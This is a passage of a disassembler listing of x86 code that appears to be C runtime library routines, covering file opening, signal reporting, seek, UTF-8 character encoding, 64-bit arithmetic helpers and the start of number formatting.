CODE XREF: sub_44DCC1+40j ; sub_44DCC1+48j mov edi, ebx and edi, 3 jz short loc_44DD22 cmp edi, 1 jz short loc_44DD2B cmp edi, 2 jz short loc_44DD34 jmp short loc_44DD3D ; --------------------------------------------------------------------------- loc_44DD22: ; CODE XREF: sub_44DCC1+53j mov [ebp+var_20], 80000000h jmp short loc_44DD50 ; --------------------------------------------------------------------------- loc_44DD2B: ; CODE XREF: sub_44DCC1+58j mov [ebp+var_20], 40000000h jmp short loc_44DD50 ; --------------------------------------------------------------------------- loc_44DD34: ; CODE XREF: sub_44DCC1+5Dj mov [ebp+var_20], 0C0000000h jmp short loc_44DD50 ; --------------------------------------------------------------------------- loc_44DD3D: ; CODE XREF: sub_44DCC1+5Fj call sub_44A781 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44E09A ; --------------------------------------------------------------------------- loc_44DD50: ; CODE XREF: sub_44DCC1+68j ; sub_44DCC1+71j ... mov eax, [ebp+arg_8] cmp eax, 20h jz short loc_44DD7D jg short loc_44DD62 cmp [ebp+arg_8], 10h jz short loc_44DD74 jmp short loc_44DD98 ; --------------------------------------------------------------------------- loc_44DD62: ; CODE XREF: sub_44DCC1+97j mov eax, [ebp+arg_8] cmp eax, 30h jz short loc_44DD86 jl short loc_44DD98 cmp [ebp+arg_8], 40h jz short loc_44DD8F jmp short loc_44DD98 ; --------------------------------------------------------------------------- loc_44DD74: ; CODE XREF: sub_44DCC1+9Dj mov [ebp+var_28], 0 jmp short loc_44DDAB ; --------------------------------------------------------------------------- loc_44DD7D: ; CODE XREF: sub_44DCC1+95j mov [ebp+var_28], 1 jmp short loc_44DDAB ; --------------------------------------------------------------------------- loc_44DD86: ; CODE XREF: sub_44DCC1+A7j mov [ebp+var_28], 2 jmp short loc_44DDAB ; --------------------------------------------------------------------------- loc_44DD8F: ; CODE XREF: sub_44DCC1+AFj mov [ebp+var_28], 3 jmp short loc_44DDAB ; --------------------------------------------------------------------------- loc_44DD98: ; CODE XREF: sub_44DCC1+9Fj ; sub_44DCC1+A9j ... call sub_44A781 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44E09A ; --------------------------------------------------------------------------- loc_44DDAB: ; CODE XREF: sub_44DCC1+BAj ; sub_44DCC1+C3j ... mov eax, ebx and eax, 700h mov [ebp+var_3C], eax cmp eax, 300h jz short loc_44DE2F jg short loc_44DDDD mov eax, [ebp+var_3C] cmp eax, 100h jz short loc_44DE14 jg short loc_44DDD2 cmp [ebp+var_3C], 0 jz short loc_44DE0B jmp short loc_44DE38 ; --------------------------------------------------------------------------- loc_44DDD2: ; CODE XREF: sub_44DCC1+107j cmp [ebp+var_3C], 200h jz short loc_44DE26 jmp short loc_44DE38 ; --------------------------------------------------------------------------- loc_44DDDD: ; CODE XREF: sub_44DCC1+FBj mov eax, [ebp+var_3C] cmp eax, 500h jz short loc_44DE1D jg short loc_44DDF4 cmp [ebp+var_3C], 400h jz short loc_44DE0B jmp short loc_44DE38 ; --------------------------------------------------------------------------- loc_44DDF4: ; CODE XREF: sub_44DCC1+126j mov eax, [ebp+var_3C] cmp eax, 600h jz short loc_44DE26 jl short loc_44DE38 cmp [ebp+var_3C], 700h jz short loc_44DE1D jmp short loc_44DE38 ; --------------------------------------------------------------------------- loc_44DE0B: ; CODE XREF: sub_44DCC1+10Dj ; sub_44DCC1+12Fj mov [ebp+var_24], 3 jmp short loc_44DE4B ; --------------------------------------------------------------------------- loc_44DE14: ; CODE XREF: sub_44DCC1+105j mov [ebp+var_24], 4 jmp short loc_44DE4B ; --------------------------------------------------------------------------- loc_44DE1D: ; CODE XREF: sub_44DCC1+124j ; sub_44DCC1+146j mov [ebp+var_24], 1 jmp short loc_44DE4B ; --------------------------------------------------------------------------- loc_44DE26: ; CODE XREF: sub_44DCC1+118j ; sub_44DCC1+13Bj mov [ebp+var_24], 5 jmp short loc_44DE4B ; --------------------------------------------------------------------------- loc_44DE2F: ; CODE XREF: sub_44DCC1+F9j mov [ebp+var_24], 2 jmp short loc_44DE4B ; --------------------------------------------------------------------------- loc_44DE38: ; CODE XREF: sub_44DCC1+10Fj ; sub_44DCC1+11Aj ... call sub_44A781 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_44E09A ; --------------------------------------------------------------------------- loc_44DE4B: ; CODE XREF: sub_44DCC1+151j ; sub_44DCC1+15Aj ... mov [ebp+var_14], 80h test ebx, 100h jz short loc_44DE79 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax add eax, 4 mov [ebp+var_2C], eax mov eax, [eax-4] mov [ebp+var_30], eax test byte ptr [ebp+var_30], 80h jnz short loc_44DE79 mov [ebp+var_14], 1 loc_44DE79: ; CODE XREF: sub_44DCC1+197j ; sub_44DCC1+1AFj test ebx, 40h jz short loc_44DE8F or [ebp+var_14], 4000000h or [ebp+var_20], 10000h loc_44DE8F: ; CODE XREF: sub_44DCC1+1BEj test ebx, 1000h jz short loc_44DE9E or [ebp+var_14], 100h loc_44DE9E: ; CODE XREF: sub_44DCC1+1D4j test ebx, 20h jz short loc_44DEAF or [ebp+var_14], 8000000h jmp short loc_44DEBE ; --------------------------------------------------------------------------- loc_44DEAF: ; CODE XREF: sub_44DCC1+1E3j test ebx, 10h jz short loc_44DEBE or [ebp+var_14], 10000000h loc_44DEBE: ; CODE XREF: sub_44DCC1+1ECj ; sub_44DCC1+1F4j call sub_44CCB1 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44DEDD call sub_44A781 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp loc_44E09A ; --------------------------------------------------------------------------- loc_44DEDD: ; CODE XREF: sub_44DCC1+207j push 0 mov eax, [ebp+var_14] push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_10] push eax mov eax, [ebp+var_28] push eax mov eax, [ebp+var_20] push eax mov eax, [ebp+arg_0] push eax call dword_411DD0 mov [ebp+var_18], eax cmp eax, 0FFFFFFFFh jnz short loc_44DF23 call dword_411CE8 push eax call sub_44A621 pop ecx push esi call sub_44D0C1 pop ecx or eax, 0FFFFFFFFh jmp loc_44E09A ; --------------------------------------------------------------------------- loc_44DF23: ; CODE XREF: sub_44DCC1+244j mov eax, [ebp+var_18] push eax call dword_411DEC mov [ebp+var_1C], eax test eax, eax jnz short loc_44DF5A mov eax, [ebp+var_18] push eax call dword_411CF8 call dword_411CE8 push eax call sub_44A621 pop ecx push esi call sub_44D0C1 pop ecx or eax, 0FFFFFFFFh jmp loc_44E09A ; --------------------------------------------------------------------------- loc_44DF5A: ; CODE XREF: sub_44DCC1+271j cmp [ebp+var_1C], 2 jnz short loc_44DF66 or [ebp+var_1], 40h jmp short loc_44DF70 ; --------------------------------------------------------------------------- loc_44DF66: ; CODE XREF: sub_44DCC1+29Dj cmp [ebp+var_1C], 3 jnz short loc_44DF70 or [ebp+var_1], 8 loc_44DF70: ; CODE XREF: sub_44DCC1+2A3j ; sub_44DCC1+2A9j mov eax, [ebp+var_18] push eax push esi call sub_44CE91 add esp, 8 or [ebp+var_1], 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_1] mov [edx+eax+4], cl movzx eax, [ebp+var_1] test eax, 48h jnz loc_44E068 test eax, 80h jz loc_44E068 test ebx, 2 jz loc_44E068 push 2 push 0FFFFFFFFh push esi call sub_44E1D1 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_44DFFE call dword_411CE8 cmp eax, 83h jz loc_44E068 push esi call sub_44B161 pop ecx push esi call sub_44D0C1 pop ecx or eax, 0FFFFFFFFh jmp loc_44E09A ; --------------------------------------------------------------------------- loc_44DFFE: ; CODE XREF: sub_44DCC1+314j mov [ebp+var_35], 0 push 1 lea eax, [ebp+var_35] push eax push esi call sub_44EC71 add esp, 0Ch test eax, eax jnz short loc_44E040 cmp [ebp+var_35], 1Ah jnz short loc_44E040 mov eax, [ebp+var_34] push eax push esi call sub_44F031 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_44E040 push esi call sub_44B161 pop ecx push esi call sub_44D0C1 pop ecx or eax, 0FFFFFFFFh jmp short loc_44E09A ; --------------------------------------------------------------------------- loc_44E040: ; CODE XREF: sub_44DCC1+352j ; sub_44DCC1+358j ... push 0 push 0 push esi call sub_44E1D1 add esp, 0Ch mov [ebp+var_34], eax cmp eax, 0FFFFFFFFh jnz short loc_44E068 push esi call sub_44B161 pop ecx push esi call sub_44D0C1 pop ecx or eax, 0FFFFFFFFh jmp short loc_44E09A ; --------------------------------------------------------------------------- loc_44E068: ; CODE XREF: sub_44DCC1+2E4j ; sub_44DCC1+2EFj ... test [ebp+var_1], 48h jnz short loc_44E091 test ebx, 8 jz short loc_44E091 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 20h loc_44E091: ; CODE XREF: sub_44DCC1+3ABj ; sub_44DCC1+3B3j push esi call sub_44D0C1 pop ecx mov eax, esi loc_44E09A: ; CODE XREF: sub_44DCC1+8Aj ; sub_44DCC1+E5j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44DCC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E0A1 proc near ; CODE XREF: sub_44CA31+2p var_14 = dword ptr -14h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push 1 mov eax, [ebp+arg_0] push eax call sub_44D131 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_44E0C8 or eax, 0FFFFFFFFh jmp loc_44E1C5 ; --------------------------------------------------------------------------- loc_44E0C8: ; CODE XREF: sub_44E0A1+1Dj cmp ebx, 1 jz loc_44E1C3 test ebx, ebx jz short loc_44E0EF push 0 mov eax, [ebp+arg_0] push eax call sub_44D131 add esp, 8 mov eax, [ebp+arg_0] push eax call ebx pop ecx jmp loc_44E1C3 ; --------------------------------------------------------------------------- loc_44E0EF: ; CODE XREF: sub_44E0A1+32j mov eax, [ebp+arg_0] cmp eax, 2 jl short loc_44E144 cmp eax, 0Bh jg short loc_44E103 jmp dword ptr byte_410120[eax*4] ; --------------------------------------------------------------------------- loc_44E103: ; CODE XREF: sub_44E0A1+59j cmp [ebp+arg_0], 0Fh jz short loc_44E13B jmp short loc_44E144 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aAbort ; "abort" jmp loc_44E198 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error" jmp short loc_44E198 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code" jmp short loc_44E198 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInterruption ; "interruption" jmp short loc_44E198 ; --------------------------------------------------------------------------- mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access" jmp short loc_44E198 ; --------------------------------------------------------------------------- loc_44E13B: ; CODE XREF: sub_44E0A1+66j mov [ebp+var_4], offset aTerminationReq ; "termination request" jmp short loc_44E198 ; --------------------------------------------------------------------------- loc_44E144: ; CODE XREF: sub_44E0A1+54j ; sub_44E0A1+68j lea eax, [ebp+var_5] mov [ebp+var_4], eax mov [ebp+var_5], 0 loc_44E14E: ; CODE XREF: sub_44E0A1+E3j mov eax, [ebp+var_4] dec eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ecx, 0Ah cdq idiv ecx lea eax, [edx+30h] mov edx, [ebp+var_14] mov [edx], al mov eax, [ebp+arg_0] push eax mov edx, 66666667h imul edx pop eax shr eax, 1Fh sar edx, 2 add eax, edx mov [ebp+arg_0], eax test eax, eax jnz short loc_44E14E push offset dword_411324 push offset aSignal ; "signal #" call sub_44F1E1 add esp, 8 loc_44E198: ; CODE XREF: sub_44E0A1+71j ; sub_44E0A1+7Dj ... push offset dword_411324 mov eax, [ebp+var_4] push eax call sub_44F1E1 add esp, 8 push offset dword_411324 push offset aTerminating ; " -- terminating\n" call sub_44F1E1 add esp, 8 push 1 call sub_449DC1 pop ecx loc_44E1C3: ; CODE XREF: sub_44E0A1+2Aj ; sub_44E0A1+49j xor eax, eax loc_44E1C5: ; CODE XREF: sub_44E0A1+22j pop ebx mov esp, ebp pop ebp retn sub_44E0A1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E1D1 proc near ; CODE XREF: sub_44CA51+4Bp ; sub_44DCC1+306p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] push ebx call sub_44CF41 pop ecx mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_44E1FA call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44E243 ; --------------------------------------------------------------------------- loc_44E1FA: ; CODE XREF: sub_44E1D1+17j mov eax, [ebp+arg_8] push eax push 0 mov eax, [ebp+arg_4] push eax push edi call dword_411E14 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44E226 call dword_411CE8 push eax call sub_44A621 pop ecx or eax, 0FFFFFFFFh jmp short loc_44E243 ; --------------------------------------------------------------------------- loc_44E226: ; CODE XREF: sub_44E1D1+41j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FDh mov eax, esi loc_44E243: ; CODE XREF: sub_44E1D1+27j ; sub_44E1D1+53j pop edi pop esi pop ebx pop ebp retn sub_44E1D1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_44E27C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44E28C loc_44E27C: ; CODE XREF: DMN1:0044E25Fj call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44E2AF ; --------------------------------------------------------------------------- loc_44E28C: ; CODE XREF: DMN1:0044E27Aj push ebx call sub_44D061 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_44E1D1 add esp, 0Ch mov esi, eax push ebx call sub_44D0C1 pop ecx mov eax, esi loc_44E2AF: ; CODE XREF: DMN1:0044E28Aj pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E2C1 proc near ; CODE XREF: sub_44D291+9Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx cmp off_411924, 0 jnz loc_44E3A8 mov eax, [ebp+arg_0] mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_44E2FC mov eax, [ebp+arg_8] mov ecx, dword_4101D4 mov ebx, dword_4101D8 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_44E4FE ; --------------------------------------------------------------------------- loc_44E2FC: ; CODE XREF: sub_44E2C1+1Ej test [ebp+arg_4], 0FF80h jnz short loc_44E31C mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] mov [eax], dl mov [ebp+var_4], 0 jmp short loc_44E395 ; --------------------------------------------------------------------------- loc_44E31C: ; CODE XREF: sub_44E2C1+41j test [ebp+arg_4], 0F800h jnz short loc_44E345 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 6 or edx, 0C0h mov [eax], dl mov [ebp+var_4], 1 jmp short loc_44E395 ; --------------------------------------------------------------------------- loc_44E345: ; CODE XREF: sub_44E2C1+61j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx movzx edx, [ebp+arg_4] sar edx, 0Ch and edx, 0Fh or edx, 0E0h mov [eax], dl mov [ebp+var_4], 2 jmp short loc_44E395 ; --------------------------------------------------------------------------- loc_44E369: ; CODE XREF: sub_44E2C1+D8j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, [ebp+var_4] dec edx mov [ebp+var_4], edx movzx ecx, [ebp+arg_4] mov [ebp+var_C], ecx lea ecx, [edx+edx*2] add ecx, ecx mov edx, [ebp+var_C] sar edx, cl and edx, 3Fh or edx, 80h mov [eax], dl loc_44E395: ; CODE XREF: sub_44E2C1+59j ; sub_44E2C1+82j ... cmp [ebp+var_4], 0 jg short loc_44E369 mov eax, [ebp+var_8] mov edx, [ebp+arg_0] sub eax, edx jmp loc_44E4FE ; --------------------------------------------------------------------------- loc_44E3A8: ; CODE XREF: sub_44E2C1+Ej mov eax, [ebp+arg_8] movzx eax, word ptr [eax+6] mov byte ptr [ebp+var_4+3], al mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 cmp [ebp+arg_0], 0 jnz short loc_44E3F3 mov eax, [ebp+arg_8] mov ecx, dword_4101D4 mov ebx, dword_4101D8 mov [eax], ecx mov [eax+4], ebx mov eax, off_411924 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_44E4FE ; --------------------------------------------------------------------------- loc_44E3F3: ; CODE XREF: sub_44E2C1+10Aj ; sub_44E2C1+229j mov al, byte ptr [ebp+var_4+3] cmp al, 10h jnb short loc_44E439 movzx eax, al mov eax, off_411964[eax*4] mov [ebp+var_18], eax test eax, eax jz short loc_44E439 movzx eax, byte_4118A0 cmp [ebp+var_8], eax jge short loc_44E439 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_44E439 movzx eax, byte ptr [ebp+arg_4] mov edx, [ebp+var_18] mov ax, [edx+eax*2] mov [ebp+var_12], ax test ax, ax jnz short loc_44E44C loc_44E439: ; CODE XREF: sub_44E2C1+137j ; sub_44E2C1+148j ... call sub_44A781 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44E4FE ; --------------------------------------------------------------------------- loc_44E44C: ; CODE XREF: sub_44E2C1+176j movzx eax, [ebp+var_12] mov edx, eax and edx, 0F00h sar edx, 8 mov byte ptr [ebp+var_4+3], dl test eax, 8000h jz short loc_44E478 movzx eax, [ebp+arg_4] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_12] or eax, edx mov [ebp+arg_4], ax loc_44E478: ; CODE XREF: sub_44E2C1+1A2j test [ebp+var_12], 1000h jz short loc_44E49A movzx eax, [ebp+arg_4] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+arg_4], ax loc_44E49A: ; CODE XREF: sub_44E2C1+1BDj test [ebp+var_12], 2000h jz short loc_44E4DE mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx test [ebp+var_12], 0FFh jz short loc_44E4BC movzx edx, [ebp+var_12] mov [ebp+var_1C], edx jmp short loc_44E4C3 ; --------------------------------------------------------------------------- loc_44E4BC: ; CODE XREF: sub_44E2C1+1F0j movzx edx, [ebp+arg_4] mov [ebp+var_1C], edx loc_44E4C3: ; CODE XREF: sub_44E2C1+1F9j mov edx, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [ecx+eax], dl test dl, dl jnz short loc_44E4D7 mov [ebp+var_10], 1 loc_44E4D7: ; CODE XREF: sub_44E2C1+20Dj mov [ebp+var_C], 0 loc_44E4DE: ; CODE XREF: sub_44E2C1+1DFj test [ebp+var_12], 4000h jnz short loc_44E4F0 cmp [ebp+var_10], 0 jz loc_44E3F3 loc_44E4F0: ; CODE XREF: sub_44E2C1+223j mov edx, [ebp+arg_8] movzx eax, byte ptr [ebp+var_4+3] mov [edx+6], ax mov eax, [ebp+var_8] loc_44E4FE: ; CODE XREF: sub_44E2C1+36j ; sub_44E2C1+E2j ... pop ebx mov esp, ebp pop ebp retn sub_44E2C1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44E511 proc near ; CODE XREF: sub_44D3E1+CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_4] or eax, eax jnz short loc_44E532 mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_C] xor edx, edx div ecx mov eax, [esp+4+arg_8] div ecx mov eax, edx xor edx, edx jmp short loc_44E582 ; --------------------------------------------------------------------------- loc_44E532: ; CODE XREF: sub_44E511+7j mov ecx, eax mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_C] mov eax, [esp+4+arg_8] loc_44E540: ; CODE XREF: sub_44E511+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_44E540 div ebx mov ecx, eax mul [esp+4+arg_4] xchg eax, ecx mul [esp+4+arg_0] add edx, ecx jb short loc_44E56B cmp edx, [esp+4+arg_C] ja short loc_44E56B jb short loc_44E573 cmp eax, [esp+4+arg_8] jbe short loc_44E573 loc_44E56B: ; CODE XREF: sub_44E511+4Aj ; sub_44E511+50j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] loc_44E573: ; CODE XREF: sub_44E511+52j ; sub_44E511+58j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] neg edx neg eax sbb edx, 0 loc_44E582: ; CODE XREF: sub_44E511+1Fj pop ebx retn 10h sub_44E511 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44E591 proc near ; CODE XREF: sub_44D3E1+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_44E5B2 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_44E5B2: ; CODE XREF: sub_44E591+Bj mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_44E5CE inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_44E5CE: ; CODE XREF: sub_44E591+27j or eax, eax jnz short loc_44E5EA mov ecx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_8] div ecx mov edx, ebx jmp short loc_44E62B ; --------------------------------------------------------------------------- loc_44E5EA: ; CODE XREF: sub_44E591+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_C] mov eax, [esp+0Ch+arg_8] loc_44E5F8: ; CODE XREF: sub_44E591+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_44E5F8 div ecx mov esi, eax mul [esp+0Ch+arg_4] mov ecx, eax mov eax, [esp+0Ch+arg_0] mul esi add edx, ecx jb short loc_44E626 cmp edx, [esp+0Ch+arg_C] ja short loc_44E626 jb short loc_44E627 cmp eax, [esp+0Ch+arg_8] jbe short loc_44E627 loc_44E626: ; CODE XREF: sub_44E591+85j ; sub_44E591+8Bj dec esi loc_44E627: ; CODE XREF: sub_44E591+8Dj ; sub_44E591+93j xor edx, edx mov eax, esi loc_44E62B: ; CODE XREF: sub_44E591+57j dec edi jnz short loc_44E635 neg edx neg eax sbb edx, 0 loc_44E635: ; CODE XREF: sub_44E591+9Bj pop ebx pop esi pop edi retn 10h sub_44E591 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44E641 proc near ; CODE XREF: sub_44D3E1+13Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] or ecx, eax mov ecx, [esp+arg_0] jnz short loc_44E65A mov eax, [esp+arg_8] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_44E65A: ; CODE XREF: sub_44E641+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_8] mul [esp+4+arg_4] add ebx, eax mov eax, [esp+4+arg_8] mul ecx add edx, ebx pop ebx retn 10h sub_44E641 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44E681 proc near ; CODE XREF: sub_44D621+5p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] movzx eax, word ptr [ecx+6] and eax, 7FF0h cmp eax, 7FF0h jnz short loc_44E6C4 test word ptr [ecx+6], 0Fh jnz short loc_44E6B1 cmp word ptr [ecx+4], 0 jnz short loc_44E6B1 cmp word ptr [ecx+2], 0 jnz short loc_44E6B1 cmp word ptr [ecx], 0 jz short loc_44E6B8 loc_44E6B1: ; CODE XREF: sub_44E681+1Aj ; sub_44E681+21j ... mov edx, 2 jmp short loc_44E6BD ; --------------------------------------------------------------------------- loc_44E6B8: ; CODE XREF: sub_44E681+2Ej mov edx, 1 loc_44E6BD: ; CODE XREF: sub_44E681+35j mov ax, dx movsx eax, ax retn ; --------------------------------------------------------------------------- loc_44E6C4: ; CODE XREF: sub_44E681+12j movzx eax, word ptr [ecx+6] test eax, 0FFFF7FFFh jnz short loc_44E6E3 cmp word ptr [ecx+4], 0 jnz short loc_44E6E3 cmp word ptr [ecx+2], 0 jnz short loc_44E6E3 cmp word ptr [ecx], 0 jz short loc_44E6E7 loc_44E6E3: ; CODE XREF: sub_44E681+4Cj ; sub_44E681+53j ... or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_44E6E7: ; CODE XREF: sub_44E681+60j xor eax, eax retn sub_44E681 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E6F1 proc near ; CODE XREF: sub_44D631+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44F2D1 add esp, 8 movsx eax, ax pop ebp retn sub_44E6F1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E711 proc near ; CODE XREF: sub_44D631+200p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44F371 add esp, 8 movsx eax, ax pop ebp retn sub_44E711 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44E731 proc near ; CODE XREF: sub_44D631+20Bp ; sub_44D631+498p var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 sub esp, 0Ch fstcw [esp+0Ch+var_2] mov ax, [esp+0Ch+var_2] or ah, 0Ch mov [esp+0Ch+var_4], ax fldcw [esp+0Ch+var_4] fistp [esp+0Ch+var_C] fldcw [esp+0Ch+var_2] mov eax, dword ptr [esp+0Ch+var_C] mov edx, dword ptr [esp+0Ch+var_C+4] add esp, 0Ch retn sub_44E731 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E761 proc near ; CODE XREF: sub_44D631+4D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_44E761 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E791 proc near ; CODE XREF: sub_44D631+64Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx mov eax, off_4119D0 mov al, [eax] mov [ebp+var_1], al cmp [ebp+arg_C], 0 jg short loc_44E7B6 mov [ebp+arg_C], 1 mov [ebp+arg_8], offset dword_4101E0 loc_44E7B6: ; CODE XREF: sub_44E791+16j mov al, [ebp+arg_4] cmp al, 66h jz short loc_44E7EA cmp al, 46h jz short loc_44E7EA cmp al, 67h jz short 